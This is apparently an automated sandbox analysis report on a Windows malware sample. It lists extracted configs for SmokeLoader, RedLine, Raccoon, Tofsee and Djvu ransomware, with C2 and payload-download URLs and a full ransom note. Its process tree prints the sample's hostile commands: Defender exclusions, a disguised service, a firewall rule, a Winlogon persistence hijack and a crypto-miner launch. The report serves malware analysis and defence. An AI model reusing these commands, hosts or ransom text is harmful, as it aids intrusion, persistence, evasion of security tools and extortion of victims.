Resubmissions

08-11-2021 14:05

211108-rdywgshdbk 10

08-11-2021 13:46

211108-q2zl9ahcgq 10

Analysis

  • max time kernel
    97s
  • max time network
    304s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    08-11-2021 14:05

General

  • Target

    040d9a95f9e954e29ceb2469fcf3a9e9.exe

  • Size

    228KB

  • MD5

    040d9a95f9e954e29ceb2469fcf3a9e9

  • SHA1

    e04f9f919575e694dc4fe2f7f4646fc3440457b5

  • SHA256

    b6a1ce3e1d1dfa3057e7473c9219ba29218014de81c922ad38e96800c1f388e7

  • SHA512

    6fd2ae969ea6e3184929aa8e04a024432a135523a9508acf0372b2821660df1aace14a97de195101a6f2af0667ad4b7b64b60b3c414cac9a30079485f6bd4669

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://nalirou70.top/

http://xacokuo80.top/

http://nusurtal4f.net/

http://netomishnetojuk.net/

http://escalivrouter.net/

http://nick22doom4.net/

http://wrioshtivsio.su/

http://nusotiso4.su/

http://rickkhtovkka.biz/

http://palisotoliso.net/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

Botnet

new2

C2

93.115.20.139:28978

Extracted

Family

redline

Botnet

SuperStar

C2

185.215.113.29:36224

Extracted

Family

raccoon

Version

1.8.3

Botnet

a741159db87f9df2b687764994c63c4c859ea476

Attributes
  • url4cnc

    http://178.23.190.57/hiioBlacklight1

    http://91.219.236.162/hiioBlacklight1

    http://185.163.47.176/hiioBlacklight1

    http://193.38.54.238/hiioBlacklight1

    http://74.119.192.122/hiioBlacklight1

    http://91.219.236.240/hiioBlacklight1

    https://t.me/hiioBlacklight1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

8dec62c1db2959619dca43e02fa46ad7bd606400

Attributes
  • url4cnc

    http://telegin.top/capibar

    http://ttmirror.top/capibar

    http://teletele.top/capibar

    http://telegalive.top/capibar

    http://toptelete.top/capibar

    http://telegraf.top/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

zolosad

C2

65.108.55.203:56717

Extracted

Family

djvu

C2

http://pqkl.org/lancer/get.php

Attributes
  • extension

    .irfk

  • offline_id

    7HKlLI6NrOQGMaTs5PqjvV1UcZ3VOcIeyFiH3Wt1

  • payload_url

    http://kotob.top/dl/build2.exe

    http://pqkl.org/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-dFmA3YqXzs Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0346uSifke

rsa_pubkey.plain

Signatures

  • Detected Djvu ransomware 3 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Known Sinkhole Response Header

    suricata: ET MALWARE Known Sinkhole Response Header

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 9 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 30 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 11 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe
    "C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe
      "C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3120
  • C:\Users\Admin\AppData\Local\Temp\3A84.exe
    C:\Users\Admin\AppData\Local\Temp\3A84.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3220
    • C:\Users\Admin\AppData\Local\Temp\3A84.exe
      C:\Users\Admin\AppData\Local\Temp\3A84.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3808
  • C:\Users\Admin\AppData\Local\Temp\494B.exe
    C:\Users\Admin\AppData\Local\Temp\494B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nvmalftl\
      2⤵
        PID:4064
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mftfxrtg.exe" C:\Windows\SysWOW64\nvmalftl\
        2⤵
          PID:396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nvmalftl binPath= "C:\Windows\SysWOW64\nvmalftl\mftfxrtg.exe /d\"C:\Users\Admin\AppData\Local\Temp\494B.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:368
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description nvmalftl "wifi internet conection"
            2⤵
              PID:2468
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start nvmalftl
              2⤵
                PID:1164
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1700
              • C:\Users\Admin\AppData\Local\Temp\59A7.exe
                C:\Users\Admin\AppData\Local\Temp\59A7.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3672
              • C:\Windows\SysWOW64\nvmalftl\mftfxrtg.exe
                C:\Windows\SysWOW64\nvmalftl\mftfxrtg.exe /d"C:\Users\Admin\AppData\Local\Temp\494B.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1272
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2100
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3852
              • C:\Users\Admin\AppData\Local\Temp\6550.exe
                C:\Users\Admin\AppData\Local\Temp\6550.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:3804
              • C:\Users\Admin\AppData\Local\Temp\7A31.exe
                C:\Users\Admin\AppData\Local\Temp\7A31.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3180
                • C:\Users\Admin\AppData\Local\Temp\7A31.exe
                  C:\Users\Admin\AppData\Local\Temp\7A31.exe
                  2⤵
                  • Executes dropped EXE
                  PID:2352
              • C:\Users\Admin\AppData\Local\Temp\98B7.exe
                C:\Users\Admin\AppData\Local\Temp\98B7.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:3612
                • C:\Users\Admin\AppData\Local\Temp\98B7.exe
                  C:\Users\Admin\AppData\Local\Temp\98B7.exe
                  2⤵
                  • Executes dropped EXE
                  PID:3532
              • C:\Users\Admin\AppData\Local\Temp\A819.exe
                C:\Users\Admin\AppData\Local\Temp\A819.exe
                1⤵
                • Executes dropped EXE
                PID:1664
              • C:\Users\Admin\AppData\Local\Temp\C2A7.exe
                C:\Users\Admin\AppData\Local\Temp\C2A7.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1364
              • C:\Users\Admin\AppData\Local\Temp\CCCA.exe
                C:\Users\Admin\AppData\Local\Temp\CCCA.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1852
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3636
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                  2⤵
                    PID:4612
                • C:\Users\Admin\AppData\Local\Temp\E1E9.exe
                  C:\Users\Admin\AppData\Local\Temp\E1E9.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1816
                  • C:\Users\Admin\AppData\Local\Temp\123.exe
                    "C:\Users\Admin\AppData\Local\Temp\123.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:4952
                    • C:\Users\Admin\AppData\Local\Temp\c197dec5-91de-4f39-9c6e-6a62948d881c\AdvancedRun.exe
                      "C:\Users\Admin\AppData\Local\Temp\c197dec5-91de-4f39-9c6e-6a62948d881c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c197dec5-91de-4f39-9c6e-6a62948d881c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                      3⤵
                        PID:5580
                        • C:\Users\Admin\AppData\Local\Temp\c197dec5-91de-4f39-9c6e-6a62948d881c\AdvancedRun.exe
                          "C:\Users\Admin\AppData\Local\Temp\c197dec5-91de-4f39-9c6e-6a62948d881c\AdvancedRun.exe" /SpecialRun 4101d8 5580
                          4⤵
                            PID:5588
                        • C:\Users\Admin\AppData\Local\Temp\403290f2-d721-4a55-92d7-836d09f39391\AdvancedRun.exe
                          "C:\Users\Admin\AppData\Local\Temp\403290f2-d721-4a55-92d7-836d09f39391\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\403290f2-d721-4a55-92d7-836d09f39391\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                          3⤵
                            PID:5572
                            • C:\Users\Admin\AppData\Local\Temp\403290f2-d721-4a55-92d7-836d09f39391\AdvancedRun.exe
                              "C:\Users\Admin\AppData\Local\Temp\403290f2-d721-4a55-92d7-836d09f39391\AdvancedRun.exe" /SpecialRun 4101d8 5572
                              4⤵
                                PID:3644
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
                              3⤵
                                PID:5672
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
                                3⤵
                                  PID:5732
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
                                  3⤵
                                    PID:6008
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
                                    3⤵
                                      PID:5704
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
                                      3⤵
                                        PID:5456
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
                                        3⤵
                                          PID:5012
                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe
                                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe"
                                          3⤵
                                            PID:5512
                                            • C:\Users\Admin\AppData\Local\Temp\3d1071ce-0fb5-4aff-bfe0-47360f24f60f\AdvancedRun.exe
                                              "C:\Users\Admin\AppData\Local\Temp\3d1071ce-0fb5-4aff-bfe0-47360f24f60f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3d1071ce-0fb5-4aff-bfe0-47360f24f60f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                              4⤵
                                                PID:3708
                                                • C:\Users\Admin\AppData\Local\Temp\3d1071ce-0fb5-4aff-bfe0-47360f24f60f\AdvancedRun.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\3d1071ce-0fb5-4aff-bfe0-47360f24f60f\AdvancedRun.exe" /SpecialRun 4101d8 3708
                                                  5⤵
                                                    PID:7532
                                                • C:\Users\Admin\AppData\Local\Temp\17a537a9-6060-4b64-908d-8e79c7a3d947\AdvancedRun.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\17a537a9-6060-4b64-908d-8e79c7a3d947\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\17a537a9-6060-4b64-908d-8e79c7a3d947\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                  4⤵
                                                    PID:5004
                                                    • C:\Users\Admin\AppData\Local\Temp\17a537a9-6060-4b64-908d-8e79c7a3d947\AdvancedRun.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\17a537a9-6060-4b64-908d-8e79c7a3d947\AdvancedRun.exe" /SpecialRun 4101d8 5004
                                                      5⤵
                                                        PID:7212
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
                                                      4⤵
                                                        PID:7188
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
                                                        4⤵
                                                          PID:7316
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
                                                          4⤵
                                                            PID:7472
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
                                                            4⤵
                                                              PID:7536
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe" -Force
                                                              4⤵
                                                                PID:5192
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
                                                                4⤵
                                                                  PID:7552
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
                                                                  4⤵
                                                                    PID:5256
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
                                                                  3⤵
                                                                    PID:6336
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\appertaining\svchost.exe" -Force
                                                                    3⤵
                                                                      PID:7004
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\123.exe" -Force
                                                                      3⤵
                                                                        PID:6728
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                                                                        3⤵
                                                                          PID:6352
                                                                      • C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe"
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:3188
                                                                        • C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
                                                                          3⤵
                                                                            PID:5500
                                                                          • C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\OlecranonsCasein.exe
                                                                            3⤵
                                                                              PID:6136
                                                                        • C:\Users\Admin\AppData\Local\Temp\EBCD.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\EBCD.exe
                                                                          1⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3116
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
                                                                            2⤵
                                                                              PID:1412
                                                                              • C:\Windows\SysWOW64\ipconfig.exe
                                                                                "C:\Windows\system32\ipconfig.exe" /release
                                                                                3⤵
                                                                                • Gathers network information
                                                                                PID:3800
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                              2⤵
                                                                                PID:1840
                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                  "C:\Windows\system32\PING.EXE" twitter.com
                                                                                  3⤵
                                                                                  • Runs ping.exe
                                                                                  PID:3544
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                                2⤵
                                                                                  PID:6756
                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                    "C:\Windows\system32\PING.EXE" twitter.com
                                                                                    3⤵
                                                                                    • Runs ping.exe
                                                                                    PID:5872
                                                                              • C:\Users\Admin\AppData\Local\Temp\FC97.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\FC97.exe
                                                                                1⤵
                                                                                • Executes dropped EXE
                                                                                PID:3908
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
                                                                                  2⤵
                                                                                    PID:704
                                                                                    • C:\Windows\SysWOW64\ipconfig.exe
                                                                                      "C:\Windows\system32\ipconfig.exe" /release
                                                                                      3⤵
                                                                                      • Gathers network information
                                                                                      PID:4480
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                                    2⤵
                                                                                      PID:1472
                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                        "C:\Windows\system32\PING.EXE" twitter.com
                                                                                        3⤵
                                                                                        • Runs ping.exe
                                                                                        PID:4500
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                                      2⤵
                                                                                        PID:3200
                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                          "C:\Windows\system32\PING.EXE" twitter.com
                                                                                          3⤵
                                                                                          • Runs ping.exe
                                                                                          PID:5100
                                                                                    • C:\Users\Admin\AppData\Local\Temp\CE4.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\CE4.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4376
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                                                                                        2⤵
                                                                                          PID:4576
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                                                                                            3⤵
                                                                                            • Modifies WinLogon for persistence
                                                                                            PID:4700
                                                                                        • C:\Users\Admin\AppData\Local\chromedrlver.exe
                                                                                          "C:\Users\Admin\AppData\Local\chromedrlver.exe"
                                                                                          2⤵
                                                                                            PID:6648
                                                                                            • C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
                                                                                              3⤵
                                                                                                PID:4268
                                                                                          • C:\Users\Admin\AppData\Local\Temp\1C18.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\1C18.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            • Drops startup file
                                                                                            • Windows security modification
                                                                                            PID:4724
                                                                                            • C:\Users\Admin\AppData\Local\Temp\763ea381-0635-4326-b261-89507a737e33\AdvancedRun.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\763ea381-0635-4326-b261-89507a737e33\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\763ea381-0635-4326-b261-89507a737e33\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5024
                                                                                              • C:\Users\Admin\AppData\Local\Temp\763ea381-0635-4326-b261-89507a737e33\AdvancedRun.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\763ea381-0635-4326-b261-89507a737e33\AdvancedRun.exe" /SpecialRun 4101d8 5024
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4288
                                                                                            • C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5040
                                                                                              • C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe" /SpecialRun 4101d8 5040
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4292
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1C18.exe" -Force
                                                                                              2⤵
                                                                                                PID:4792
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1C18.exe" -Force
                                                                                                2⤵
                                                                                                  PID:4772
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1C18.exe" -Force
                                                                                                  2⤵
                                                                                                    PID:4932
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                    2⤵
                                                                                                      PID:4440
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                      2⤵
                                                                                                        PID:4308
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1C18.exe" -Force
                                                                                                        2⤵
                                                                                                          PID:5108
                                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
